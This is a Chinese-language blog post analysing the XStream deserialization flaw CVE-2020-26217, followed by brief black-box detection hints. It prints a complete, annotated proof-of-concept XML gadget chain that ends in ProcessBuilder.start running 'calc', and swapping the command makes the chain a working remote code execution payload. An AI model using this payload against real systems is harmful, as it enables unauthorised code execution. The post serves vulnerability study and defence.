Xstream反序列化漏洞

Xstream反序列化漏洞

XStream是一个Java库,用于将Java对象序列化为XML格式,也可以将XML格式的数据反序列化为Java对象。它是一个流行的开源库,常用于在分布式系统中传输和存储数据。

漏洞原因

Xstream库中部分类本身会做反射的 invoke()、序列化的 resovleClass()、readObject()等等,同时这些类的这些操作有被攻击者恶意利用的危险。例如CVE-2020-26217中我们可以通过构造一个包含恶意XML的类。

漏洞POC分析

POC如下:

<map>  //构建map ,用于进入MapConverter类里面的putCurrentEntryIntoMap函数
  <entry>  //构建键值对的对应的key值 ,存在key值就会调用NativeString.hashCode()
    <jdk.nashorn.internal.objects.NativeString>  //通过引用NativeString方法,进入到NativeString的hashCode()函数,进而进入到getStringValue()函数通过toString()方法返回对象类型
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>  //表示一个值,其类型为Base64Data,因为toString()方法里面的Value值是Base64Data类型。
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> //赋值DataSource,为后续readFrom方法的写入值
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>//调用SequenceInputStream,写入DataSource,对应ReadFrom调用SequenceInputStream#read传入的SequenceInputStream对象
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>//调用MultiUIDefaults里面的MultiUIDefaultsEnumerator,对应read方法调用的SequenceInputStream#nextStream的传入的MultiUIDefaultsEnumerator对象
                <iterator class='javax.imageio.spi.FilterIterator'>//描述了一个迭代器,被用来在迭代器遍历过程中触发特定的行为(即启动进程)。FilterIterator和ContainsFilter的使用是为了找到type是KEYS,iterator为FilterIterator(这里是java.lang.ProcessBuilder的start方法)的元素,并执行。得以进入nextElement的判断
                  <iter class='java.util.ArrayList$Itr'>//调用ArrayList的Itr方法
                    <cursor>0</cursor>//过ArrayListItr#next的i>=size判断
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>//迭代器遍历过程中启动一个进程
                      <java.lang.ProcessBuilder> //这是Java中用于创建操作系统进程的类
                        <command>
                          <string>calc</string> //进程打开计算器
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>//调用ContainsFilter#filter方法执行invoke.(processbuilder)
                    <method>//method是ProcessBuilder.start
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type> //nextElement的判断条件
              </e>
              <in class='java.io.ByteArrayInputStream'> //调用ByteArrayInputStreama对应get方法调用的ByteArrayOutputStreamEx#readFrom的dataSource输入
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string> //键值对的value值
  </entry>
</map>

黑盒测试漏洞

响应报文中可能包含以下XStream相关的标识或特征:

  1. XML报文:XStream是一个用于序列化Java对象为XML格式的库,因此响应中可能包含XML格式的数据。
  2. 标签名称和属性:XStream将Java对象的类名作为XML标签名称,并使用对象的属性作为XML标签的属性。
  3. XML命名空间:如果在XStream序列化过程中设置了命名空间,响应中可能会包含命名空间相关的标识或特征。
  4. 特殊字符转义:XStream会对特殊字符进行转义,比如将<转义为<,>转义为>等。因此,响应中可能会包含转义后的特殊字符。
  5. 类型适配器:XStream可以自定义类型适配器来处理特定类型的对象序列化和反序列化。响应中可能会包含自定义类型适配器相关的标识或特征。
  6. 多态类型:XStream支持多态类型的序列化和反序列化。如果响应中包含多态类型的对象,可能会有相关的标识或特征。
    需要注意的是,XStream的具体使用方式和配置可能因应用程序而异,因此具体的标识或特征可能会有所差异。以上列举的只是一些常见的情况。
  • 19
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值